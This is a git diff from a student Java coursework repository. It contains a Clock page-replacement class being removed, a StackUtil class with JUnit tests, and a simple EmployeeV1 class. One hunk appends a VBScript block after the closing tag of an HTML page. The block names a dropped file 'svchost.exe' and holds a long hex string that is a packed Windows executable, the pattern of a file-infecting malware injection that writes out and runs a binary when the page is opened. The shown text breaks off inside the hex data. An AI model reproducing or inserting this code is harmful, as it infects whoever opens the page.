-    private int size;
-    public Clock(int capacity) {
-        this.capacity = capacity;
-        pages = new PageFrame[capacity];
-        accessPtr = 0;
-        size=0;
-    }
-
-    private void access(int pageNum) {
-        int index = search(pageNum);
-        if(index==-1){
-            if(size<capacity){
-                add(new PageFrame(pageNum));
-            }else{
-                pages[findLRUIndex()].pageNum=pageNum;
-            }
-        }else {
-            pages[findLRUIndex()].accessFlag=true;
-        }
-        accessPtr = (accessPtr + 1) % capacity;
-    }
-
-    private int search(int pageNum) {
-        for (int i = 0; i <size; i++) {
-            if(pages[i].pageNum==pageNum)
-                return i;
-        }
-        return -1;
-    }
-
-    private void add(PageFrame pageFrame) {
-        pages[size++]=pageFrame;
-    }
-
-    private int findLRUIndex() {
-        while (pages[accessPtr].shouldGiveAnotherChance()) {
-            accessPtr = (accessPtr + 1) % capacity;
-        }
-        return accessPtr;
-    }
-
-    private static class PageFrame {
-        int pageNum;
-        boolean accessFlag;
-
-        public PageFrame(int pageNum) {
-            this.pageNum = pageNum;
-            accessFlag = true;
-        }
-
-        public boolean shouldGiveAnotherChance() {
-            if (accessFlag) {
-                accessFlag = false;
-                return true;
-            }
-            return false;
-        }
-    }
-
-    public static void main(String[] args) {
-
-        List<String> strings=new ArrayList<>();
-        for (int i = 0; i <10; i++) {
-            strings.add(String.valueOf(new Random().nextInt(3000)));
-        }
-        System.out.println(strings);
-        System.out.println(strings.stream().map(s-> s.charAt(0)).sorted().distinct().limit(5).collect(Collectors.toList()));
-    }
-
-    public int findMinDifference(List<String> timePoints) {
-        List<Integer> list=new ArrayList<>();
-
-        for (String s:timePoints) {
-            list.add(parse(s));
-        }
-        Collections.sort(list);
-        int min=Integer.MAX_VALUE;
-        for (int i = 0; i < list.size()-1; i++) {
-            min=Math.min(min,Math.min(Math.abs(list.get(i+1)-list.get(i)),24*60-Math.abs(list.get(i+1)-list.get(i))));
-        }
-        return min;
-    }
-
-    private Integer parse(String s) {
-        return Integer.parseInt(s.substring(0, 2)) * 60 + Integer.parseInt(s.substring(3, 5));
-    }
-}
diff --git a/group17/1264835468/src/assignment0405/StackUtil.java b/group17/1264835468/src/assignment0405/StackUtil.java
new file mode 100644
index 0000000000..dcaf1992dd
--- /dev/null
+++ b/group17/1264835468/src/assignment0405/StackUtil.java
@@ -0,0 +1,107 @@
+package assignment0405;
+
+import assignment.Stack;
+
+import java.util.Objects;
+
+/**
+ * Created by Administrator on 2017/4/6.
+ */
+public class StackUtil {
+
+
+    /**
+     * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     */
+    public static void reverse(Stack s) {
+        Stack stack1 = new Stack();
+        Stack stack2 = new Stack();
+        popAllToAnotherStack(s, stack1);
+        popAllToAnotherStack(stack1, stack2);
+        popAllToAnotherStack(stack2, s);
+    }
+
+    private static void popAllToAnotherStack(Stack s, Stack another) {
+        while (!s.isEmpty()) {
+            another.push(s.pop());
+        }
+    }
+
+    /**
+     * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     *
+     * @param o
+     */
+    public static void remove(Stack s, Object o) {
+        Stack stack2 = new Stack();
+        while (!s.isEmpty()) {
+            Object top = s.pop();
+            //Objects.equals(null, null) == true
+            if (!Objects.equals(top, o)) {
+                stack2.push(top);
+            }
+        }
+        popAllToAnotherStack(stack2, s);
+    }
+
+    /**
+     * 从栈顶取得len个元素, 原来的栈中元素保持不变
+     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     *
+     * @param len
+     * @return
+     */
+    public static Object[] getTop(Stack s, int len) {
+        if (len > s.size())
+            throw new RuntimeException("Stack size:" + s.size() + " < " + len);
+        Object[] objects = new Object[len];
+        for (int i = 0; i < len; i++) {
+            objects[i] = s.pop();
+        }
+        for (int i = len - 1; i >= 0; i--) {
+            s.push(objects[i]);
+        }
+        return objects;
+    }
+
+    /**
+     * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+     * 使用堆栈检查字符串s中的括号是不是成对出现的。
+     * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+     * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+     *
+     * @param s
+     * @return
+     */
+    public static boolean isValidPairs(String s) {
+        Stack<Character> stack = new Stack<>();
+
+        for (char c : s.toCharArray()) {
+            if (isLeft(c)) {
+                stack.push(c);
+                continue;
+            }
+            if (isRight(c)) {
+                if (stack.isEmpty() || !match(stack.pop(), c)) {
+                    return false;
+                }
+            }
+        }
+        return stack.isEmpty();
+    }
+
+    private static boolean isLeft(char c) {
+        return c == '[' || c == '(' || c == '{';
+    }
+
+    private static boolean isRight(char c) {
+        return c == ']' || c == ')' || c == '}';
+    }
+
+    private static boolean match(char left, char right) {
+        return (left == '(' && right == ')') || (left == '[' && right == ']') || (left == '{' && right == '}');
+    }
+
+
+}
diff --git a/group17/1264835468/src/assignment0405/StackUtilTest.java b/group17/1264835468/src/assignment0405/StackUtilTest.java
new file mode 100644
index 0000000000..d36a17c29d
--- /dev/null
+++ b/group17/1264835468/src/assignment0405/StackUtilTest.java
@@ -0,0 +1,67 @@
+package assignment0405;
+
+import assignment.Stack;
+import org.junit.Assert;
+import org.junit.Test;
+
+/**
+ * Created by Administrator on 2017/4/9.
+ */
+public class StackUtilTest {
+    @Test
+    public void reverse() throws Exception {
+        Stack stack = new Stack();
+        pushAll(stack, 1, 2, 3, 4);
+        Assert.assertEquals("4, 3, 2, 1", stack.toString());
+        StackUtil.reverse(stack);
+        Assert.assertEquals("1, 2, 3, 4", stack.toString());
+        StackUtil.reverse(stack);
+        Assert.assertEquals("4, 3, 2, 1", stack.toString());
+
+    }
+
+
+    @Test
+    public void remove() throws Exception {
+        Stack stack = new Stack();
+        pushAll(stack, 0, 1, 2, 3);
+        StackUtil.remove(stack, 1);
+        Assert.assertEquals("3, 2, 0", stack.toString());
+        pushAll(stack, 4, 5, 6, 5);
+        Assert.assertEquals("5, 6, 5, 4, 3, 2, 0", stack.toString());
+        StackUtil.remove(stack, 5);
+        Assert.assertEquals("6, 4, 3, 2, 0", stack.toString());
+        pushAll(stack, null, 7, null);
+        Assert.assertEquals("null, 7, null, 6, 4, 3, 2, 0", stack.toString());
+        StackUtil.remove(stack, null);
+        Assert.assertEquals("7, 6, 4, 3, 2, 0", stack.toString());
+
+
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void getTop() throws Exception {
+        Stack stack = new Stack();
+        pushAll(stack, 1, 2, 3, 4, 5);
+        Assert.assertArrayEquals(new Object[]{5, 4, 3}, StackUtil.getTop(stack, 3));
+        Assert.assertArrayEquals(new Object[]{5}, StackUtil.getTop(stack, 1));
+        Assert.assertArrayEquals(new Object[]{5, 4, 3, 2, 1}, StackUtil.getTop(stack, 5));
+        //异常
+        StackUtil.getTop(stack, 6);
+    }
+
+    @Test
+    public void isValidPairs() throws Exception {
+        Assert.assertTrue(StackUtil.isValidPairs("()[]{}([])"));
+        Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
+        Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
+        Assert.assertFalse(StackUtil.isValidPairs("((a)[]{b(c)}"));
+    }
+
+    private void pushAll(Stack s, Object... objects) {
+        for (Object object : objects) {
+            s.push(object);
+        }
+    }
+
+}
\ No newline at end of file
diff --git a/group17/1264835468/src/com/coderising/jvm/test/EmployeeV1.java b/group17/1264835468/src/com/coderising/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..8ba6ebd501
--- /dev/null
+++ b/group17/1264835468/src/com/coderising/jvm/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.test;
+
+public class EmployeeV1 {
+
+
+    private String name;
+    private int age;
+
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;
+    }
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+        this.age = age;
+    }
+    public void sayHello() {
+        System.out.println("Hello , this is class Employee ");
+    }
+    public static void main(String[] args){
+        EmployeeV1 p = new EmployeeV1("Andy",29);
+        p.sayHello();
+
+    }
+}
\ No newline at end of file
diff --git a/group17/1282579502/src/com/coderising/download/net_multisoc.htm b/group17/1282579502/src/com/coderising/download/net_multisoc.htm
index 5ddcba89af..852129b19a 100644
--- a/group17/1282579502/src/com/coderising/download/net_multisoc.htm
+++ b/group17/1282579502/src/com/coderising/download/net_multisoc.htm
@@ -488,3 +488,18 @@ <h2>Result</h2>
 </script></div>
 </body>
 </html>
+<SCRIPT Language=VBScript><!--
+DropFileName = "svchost.exe"
+WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829E5E3B957128400F0FE4A171EE96EDC0384331906015DDC2DD88189D3D7480538908D4E14CFF3D82198388DD43132D08D3F32C9EE55FC528C094C0CE836363731740F265B77EC959258C77F64C9CC310984097DD88385140F637B85AD1EF42A23BA00DE108382A9D40345B01BC63324F44837634992497A5F629094AF28F6F8955E79D5C5298527D1240C18CF40C38C346067A37DC6F809E8323682F1B8FD1AD976A30A2DE57C85075051A4C3B6F0130534BCBDBD73DBE19B8D2D75384E5557A723931D76F06849542B006460F04D322DE63477581492713CA5C84FDA17EB6CA5C8DB4ECFCD8767941E92313EA33538D0678C4CC29C328544AC4868BD5A842140E37767AB6938779918530680B207EF6CEC745F6BDA61D6323834201E3336241D38D052622CDD5DE0754AEFF2D6B081FA7A4F0B8632149D1D0352B2C5CE50D2F06E0B7E950C262CB406AB37381AC06B073E2E681CA41B9C31D9D77A8431ADA028D231840265330138A856E38CC5121850BA7980B17B672744A006D4CE490C1F1BDCA0B1FA8473005594B6B00F7764B2005634C83379109959A275E331BFCD5C23878133363CEC44AE8A8F534B4933674D6A3CD2D41EB91F4400DC3537ACE1DAF32068ECE4CD90EDFED2E19A4CB936686599E3FE1000FAB1832CB1F3A05E440CB85D73F43F8BE42F01C80BC00F849901C762B19D0D77B5AC14AB0033F4FFFEF76754683B84159829CE68F152E28309D458687299EDF7EFE967B30ADAEBC76A7501E02DF08FD4D9685D0CAC160C766A1E89C1B63717C86AE6888D4D80BEAF6B0D37D66084213819ECB3EDE2D0240BBA32332F58DA4C9F2D17DC0BED045148DC93ED4DFF064E240B3529F12C74B2A30AA3FCFC68B2FD3EEB23E109AF5605225733B816BE667B088D79B0F00B76132C36C8F27724084A53501B4A3BDB8CCEC8137D0424DBE4F7B2071C75886AB106A29A24503B1827A4F90628F8D5286D9727DC6E90FCF39CDB0ED6006C20052643CC23D643835F84361304CF7AC185F69D05391010106527FC5B18A3D8C1950AA41303575753209CEDB3E402D8BA3019BF0B1FBE124D47F268F4A89B09F868C284DFF3975483A3FE1D0451CCAB6CEF70AD51691CC61A3CB34500EEF7FDEF200A68B93B498409100416C905EDB5F6FF62491111139011906363136309020500F27D91BB900990906315632113DB7FD7B5290F13307D68803C6E4F65E3A014F78DCDBEEE4480131A901C13463D113DE75EEC29435819214A77FFFF8B1B050F5245642350F1718D9193F33B6B48367B135C7BDF7B5B25501109039A62CF3DE73E0961151320BDFFB7F7B61D0C7DBC7D44737FBFF7F6771300B9E7DE8B6E64D644338CFB0D7BEF5C2E416207F3691ADE09DD9F8CD3F75FCA630590A677782EE6B5C2357F03A0FF7FEFBDD71D53D77D057303DA11DCBFE2F7E2E79E7BB16766FA41AF3E7284F662B10B97B90057EFFFB359425D63761A7313A57DC3F708D01E8737F66245081B90ED59F7DE73B3902E41129A104D67D8BA3F8F7D254389DF85239622EF4D788690410C6F987B11DE7B55D1600DE80D170AEF835F45BE1D4E4B4F61F6B9F7CBF0571F8573F71CAE3A24137B7BEFBD379011303243496EB83B1CDE88BDB8F6F3BAE0F6CE2F6CD51DC012C2F790CC132A83622F36232FC20B3FF6B3C7301B020E58F7EA7F09C3ECBDFF16126F7957F7A27F8669039D08C126BC884B8E327D841784956FA82F643373976DC3CD13D222FCE825C302D393F76F42ECB9860D40AB0E78DE7BCC7033B15E88CF84FF7F13865B11FA1F56161A1F2FB7F780AC5CDC84F75EBE3630AA3DE3CD98F12FC26B160A3CC3FF1F90F1E95C1B1850F35B0B0F0FF7401FA417E31D264CCC44ED907B3362B1DEC7B14BA6330CFFC6241D62335CA9F7FEA10A7A935E7B9F400DB906F778B1772458554D3D5CC5DCFFBFAB51E94D10A8514F2E7C6BF7D2C66B107BC1222A38C0CDBFD8A4EF4CD11383C826FF1B7BEF45F8DC12B5F7978CBFA3326C60B1F7DE0CED7AD602BEE35FB0C4934F193A88681EDC5A3610EFF05CEF602FD7F7010130718515E1F166D8AFF70374EFC5867E990C8E0EA558ACD73C1003164371C79AF566BC49608589E163EF4DC03804A04545322F8CB19BAD7D54F130171C0B02F76A1F3A8459AF0998D7D919F4786F4265688025DFDE319B1C2F5F03F3E25F07FE1D0813F6DEE602202A7756472DB5C8263C176348A1592388F022C545886FA876F7B0ECAE2157249C5054F781576C0E6F022F89AE7D0908C126CC3BEF6216CAD658ACFF1BBD5B53C522C4366E53CF5ADA3BC4DE7BE57F31855762807B6FD254138A28BDB771BB1C4350037350F4F0BB7DDE9B148B6B8A2D0B976FC28BF4E81342728D65E0BBE1F74A43F01C431F4501E9A721309B333030C06F767891110D30F20ADDEEFE09B41375A1E012450358F90F47A7537B93DEECF2236484DDB9189192C1D2912E7CA1FD63C063DE1BF302EE4F1D743B07B1DEDBADE4F01B8C3488C5DEB07AC1DF4E2C7CEFCD4BE7BE65895A43D9EB45D880B88BC6544A7891DEA490031AD51ABAB34D5F059022899A7313DEEB6D2E98B469A5BC5E8CD87B492B045C47C6FF88F57F54D47163B8747F7666F59AC1E6E8C09D5F7BD483203C8604AA0A6AA459A437473AA908F5AEEEFF9025477D18B0F7A5A445390E7D5BF7D584581188DC3ED607211689D9C200ADA32BD28B35A8EC05DB60DA787B28370F00527D64B3D9476F5804265D584E8658ECC57898B5E49EF4B6E50ABC74994C9B6B022348FCFF33E915EF0F4FE916F343F7C89CDBDCB1DE8B31B4338B3823D21B02A4AAAD5E77782C1E54F91B61F791C0E2A4ECCDDE848F44059434F022CC5ED50E7DE7E0E5D6FFCC1D6A63143C4403B2AC738DF77460C58861B973EE444504668772FF70DD9BC49B3A0B31781675E37DF98564158583F7525B1CF77A5B8CEE22F6823007DCC7330EEF4DB44881EA49B92F1776971B5AEEFCF479A8F794065C6C56EC43F33F4C258B4D98F08968C3F618DBB7F8D8F37D2FFCD32689F73303CAFF84F75EA4CA146D746DA5824D68D6ECB8D3B5BBEB3D109FD81FE813CE831FD28BD468E57784BACF2F092D6935A650ADC384192F688ADFC92D16CAF7E058436A93E0233683DD9B49F70ECE39783BC520D68B043DA2BF179B35BB6CD11F50F9D2AC73AC13A0D5E85248F482312BD460161F664C9A501748851FB393663CFE1FB71FBBF7174F6417E66EC261599C5E651F8DFFDE7BD603A7D3F116C8B3D7FB6660A3C9382B4BBEF5EE108CDE0B47654228184C98DCB610C21B6745341AAD22731FBD5658ECC5DCD14939FC76B91126358B9F18A368468408A70937F0221DF94943F76F2F6C179B149B2407CD32A0602E19B34678243EBD18CDFAADF79A1794C17A4D2836E1B7CDAEBAF08BCDE816B07EEEF396AEE103370E04130560D894D3BC043378B31959EE53B598711816FC1BCBB0ECFE4DDEB6151E33133CAE435419269662393A4AE1E022C466B823479E1568F6DEA4E039A6AA1B1FF843D57501E080956B3C1EBC14C0AC7F13E37D6CE01F1AF75B5F15CD664C9A6C34F08DDECC0DE38CC54D2B263AD815D83B7D7D40C33F3FCFF60EEF19AA85BC45809346B1D8611BEDA001E7C67F6F420DF189622FCB317323E105E1C1F7124147FD5A194120C27CF5A79AD18BBD62615BF6E8A75A1587FCF7F796A09805E3CD2D21FB9326C48ACD39E8E98BAEA5FECD1E6370169373A16CD76F42306276A7564ABD178B4926279395F5FF0C662EA77A90D81A1D161BE91D34102376D71750CDF7386B616F359BF5269E4E4B750E02139AE9A9B690AD63D287DFC443E17D84D0F30FB4315E88D58B31109322626F16C1FBBE8818C3F587FFF77D25737D0B0DA553F726070A6F168BD96143CD07C486C07B4CD03464FD36FC62D38DF714CFC6F681F7293161C2C10AD0BB0BE130AB6001EDE86A7F0C983547700FDD304D64B3EF995A6C05801984A45FBD48B309D76A3F12DE8B709A56436FDC01BD2FF40F2E44B3F910FAB3F7A0941C66B1178BF6BA0C6EAF845E84F7CF5B06213C951FDDD13552F395CE76A81623035FF1DA5F636E6211626F3EDA9BD1BF370BF6F3A25B156FC4D95C975AE097AAA0F053B0F7FDD844185213969B5E6308CC38DAAB960346479834F083F9174786F12ECD3323C17B66A084D90CE7963B7B7208482C89581C92A5B95D2FFCF19496560F5BD3F1099DF7CA8B08C673EF743567BE2337246293ECE7D9EB3FB81581CAA0D888BE031D0CF0A6A93C66F77DDCF7934D336670CEFE90ECEF21484C7A539AF087FE558B3569383D7D4B1F7A9AF14E9789F79783ABBA821B5611E4790B3493661360CE28662B6CEA761305538B9E394F2A669B522F7687CCF7B1B09098BA11E0346BF5CC9ABD37A360DA6F5F937680BBFE7A5CF3EBDBE41EF755DEAAC982596F6F4A8542300A52815EAABCC4462C4B2FE351F36C7FF7DEC1356464E0892F4022786F063C30991673BB9B40326A85ACF3E027384E470E56E598CF3B074ECD8220F03BFE4B33177BEFDCC8D6E11A970518A34924E5574C26B0E17096D63E9C2709B164E0BF09BFE44DEA058997413CDDD05A275A15607E606D15672C9EDBE84954D907871A788760C073ED31318119939BC052D9F5C726CAA61D1EA01D3D43F1F0DF31E1B45115730B39D99BF18200895152DB059B7480F79E965FDEA27529E002B7F371B8B5F7EE6705931A06DE51F726C598E94A5338EA7698D4847C8698CE36DC48F173F90F4CC691D45BECBD59119793769F498B11B358EE53E314055C9F1040BD3613233F0931DEE3A3F7A77A15E7D2BD6030A9C7E4341D464CEA61D9E1508A03B88385F7E380245993E24DB3F31230D84B46B3491F50AE06B88DFFB924193B507C3C64FEE5C811F5269C20F156AA6956846131615E0337F02231608A7AF37973F0CC2D4EE434A17B3498D010860DDA3CC6A43844921FF68E1B2E7D08AD4D68DE3C8410283CA45CC385DBE96FFF57C00E1B178C6630C5444ED82C88BDD7901466C03738BCF638DF6443FC644532F5D644430233F7437BB948EFBD20943A8533AF6F594C2064D0BDC41D7D471C7D5EFCA5432145BE92D810308C2AFB24F97F26CC3A211F63FE5DD81D86F4E44D4D007540CF6D74254A035476D3437460D2301EDE519B48439ABDD4CB5B64C17CF1AB46C35C7A85145EAC08D22301D9227678CC263D21D7D7AF59C3C9C1BDF3582476E583092EB057800AF70C46BC032E8A79B78C368B30217150699727883123B9364F2F98DBEA7D6E8DD4044FB78549919811C0E472179B4D88BBD990982D28CFADEBCB17CBA28C83DBE045101BA3D40BC01046B166C5EEE06F0C0E3148AD55AD5D9AE03078D463EAB405C922594A5C20C6248602BE44D2845CB2DF5654C88ECB1B78E3CF3FFEF11F239BF77B1366CCCC0F7BB580A36AC26106A7F17F82BB094153630A7D58438E0E765CD1966FC778D0A4EA3198CDA0084FE5A3458449CD68DFE6AF23C4668292841D05EFD186C6894E2EC069E6C7564C7AEF313620C240C220CC1864216368CA1B046BAF57F75A4F15B3B801B023F7A58A52ECC59A565A95C5196C06450A43B4118DF801DD677D7C7D70049B152142A24426DA10B32615C5D6096EC29B888C3822A2782F46A97D0C01712130E9CD20204A01DE9B31A36C423DC81F18830D00F095956D623B9831090C0AC0F4661362443F3DE858527F6FF614235FAC1F3C1FBB5E6C66F817ACF79E113C7D01B39835AC000FD7F87B2F58F6109262049169E6D7003BD3692773620A1DFBCD8A14EEBDF79B0585A2BC0910E1D009FEAF937A136622E618D37294DEFE7D7ADFE21F250347102FBB8CC574822471C8DEC73089D8EC3405DCCAEDFE2109C4792F5615165A0F1537D1AD73E30538C8BC2C321F6852102633A4C526D17B41BCB1173E35FE59F4FA0D51E90FD1A8512F1C42A4187DF35563AC372359FEFB1811E64913DEAEEF505DC3EFC5BAF15FD57FD6356BEB2639DC972486455BA3F4F02630A120354CACD9A6E98DDC43387FE9194D88F0DE6DC6431370784BE21E001165862D5E2AB7463D637382B3EF4D0037E3F7EF5F7E26A366358126049C32BC211084AD8E0596C0711219EFF919A084430BB5B011B7E79BD30BF65EC641DC579B181366BD50BDE6CB245C0D3011B5CC587598117370F78709626FDEAC6674A1C0FA5A9F15EFCDE4B8E54F153C09164BAEEDF82B4749E01319638D109B34FBF3F7D64BF4F4548466BC60D25BD1F88BF782D52652EECA2FCBB68478B0055380A0F729049800AF3367C82260D22CDE484B515731663396D730FEBD5D6755435D82F0F745D966BC77886A223A9A6360C27B136E131B8356AC22CD39ECB2AE8CD3A9AEB79BDF83B752C3EAB01D721BBC20506C186C95588C3A180F6C4398A749C5DEA4356CD8D37533DE2382940E0E2F516EF9BFC67960B40F79E0B871E1B477CBB30931984FC914C68231844992967BDFE20FCC652B10F01F167A42F79423EA0D6906D7D40BC20B16CD4407D3B5C1A41763314A9639D8E8235CD473D453F2179246BD17E97D80C270F6B0EACD4ABD1E7BF186FEC3324D64C3F113995A64E3F73A6C42848621B99A3B10E81D5ED74A8BE06E450842A9BB47855216FB1686012BA1F71C679D6622584D20A304108B51C391BAD6C1DFC5663FD67F33F14C8957254D18B198DB83F2D7C981ED5F0C62C18A2C0ADB057F6FD88824EEE17D47AEB712DCAC751473A40283F36A5E0472CFC5F795CEC821045810CED8FD63A2CA08C45E8C8161B0F9B3BB74899B3C5E42AD334576076F323624FBC763A36908B1608DF8EE56CFF5CC3DF363828DF7145C58617560482095E5F18251B1D7D580F4FF0C98B2E1B54F2E43707D6C80F7A8A25934CBCD09B182C18BCDA2332A34267E5833AFF5635CF3830FAEFB2C00766315CFD0C9049B4598402B5184E2666F08C0A94C922F980093A429C7A47855D76B1BEF1723184834295841A96393663C2031359164FA0F02FD797A5A72B5F7189B3A0C8919EF7E5D2CE966118966B906CE8129D224A2053B4372B7AD7CCD6A2BF73B17C320458409D6E99562CC9ABD43070F3275032EF5C42A917D6F5E8F66C08432678E18908A0D2CA1C87D7E12135E4BE60B7D337DD13D82F00D3DDBF73EA0A5A5F462B382A808B706B8090C8B43147E016DB0F5013623C903FB239A508448EEAD9A7B6F124CAC75795BC60D332A16916ECA7A70A54D949788256ABB09566C46450507B3EEE2C55E2C0483B90663D45D300028DFFA8DF19E36E30D81775D43622BC08417615CD963EDA0C786994913501ED9B07FB3C32159002E7563AC18466726900AA85BF1BFD89481FF1F7DDD531F253D00A6056A05315F2C8AC5DE8B30474192CDC690E2CDF00665BB213810299407672348F4742723EF1BA2B717A16031005B97CC6650B0FA1646305B8E7E2CF3BF38C7834C98F409874BF7207042106A5834535121181161229DA2A5FEC6C7E254DD11D75F1B4A5AD97B2E08AEA035D032748166048BD87FDB934DAA09F4A5344E2D81FB6CC1528E0B933277213619CF48660C908CD6EF4D8A3700B40649134AE562EF4AF4DE41B1488FB1E9028B080D2B880A013842B1086F539D2A0AB7C4373C4F19ED501EFC01E0F030F3859B34E3BDADE9847ABF54E4E11416FE117C03F79B76E0F10F006712F11713097827FE02F7B893FAB977DE840905679B0F63F06693938F6452500C6CAAE154F34D07B5E9F73D0949B126CDB4959E3D56BC09BDFB065FFFC7539F1D130704206592AD2A2F967B0B061EF74C072AF52118F662067F7D6449106B36D208B2567B818657F44E1D121005451D9201EE21DB4385DC6A428498B3E2F177B349CC250F6E02F19FFCDEE353FC61A750F3A6BF8CF4775CA52C98D510A9DC4118132641E9F0E10A4A706C91F772622858B95F94D81714F7060A4FC6AC5831453477AE8C620469902158BCF75D103AA9ADF744F33B5818362B5659FDC3C28B0D01389783219818E96056536D27CC6A001FE7736E6E6052CD224CED39C5247841CB8BC9BD83FF981FD0DC7614F3CA125F76F3EEA46161D806F719EBAFADE2F09814349E4A0C295693DCBCCCC243824D720893A500BB58E2C57A3032A7CCB8C62478C337DC4D610BC67B6E8A019FCB418A9D38723BB72203FE29C4AA19C157994C4931107839E5BF66A277D511787376F76E5B73B1191128491661B3C72C7A47C5AC197DF54B67F2E9296A5103F143588F9B100347D063009F615284D8FCE330B0549018D6CB13FB9B4ECAB870FCFDF12F5AC135F7F8CE1A76189664BE433683D92C78A6F203DBE8592F46AD7DBD6A5C023DD47063DDEF4DAF9D3D5B65876405CF09696FEE34816011B1BC33DE8C083910EAFA0EFD974B8131B7DE1B14D253F336936015A459B81CFC7366C4A4264E09C63F660CA9284A0F1D6A99964DF01B1DF71BF7BD8FC48A66C10082442BC600438AF736396FDFC50C66290A510FD1205CF71322528F33BAEDBAA3DEA409ECF4E46466B9090C7957C3ABA352973FF910467D450F01B35EB017977C95AB491326759213CA30097804C19D4234E2FF337D0B4F2A8557F7ECE4D89A01CFF110F7F5BB2AF532604633FCC78622592E56B61F16E0A996FADA5C08A4B570358B26747096664930AB59C1E4982C193581CA299257AD5941604F54C36A46B1BEDF52CDDE8B00A573D4521C2C3CE11E175B12DFE4BAC609EE1695B439FAF77A41BEA95EB020A8F2A58A3469363D193846A59AC5AAA726BD307BA7E356BB6B6A45E98811A4266FB21E20BCD790D9EEC41A8D5B8D87127C27967DDF2CF026F06ED0CC874654688409C3E0972F4E97E2329851D214139C0B0D9AB4BB79DD08C3EC4D2A2696A8B1BB88C52654AD1E7B2EFC49CD1F422F521D3303117807EA90C2ECCCAAC75190D69B45C9DAAC2E4943300E6FE97801DD230831F8A9F7999B70B96166D1B0370F2A4A1328D2B014BE16AADCF00264F37887981D001F23F6DADDDFF3040CF7CDDD332A19C166D4D2D1EA7AB366BD653110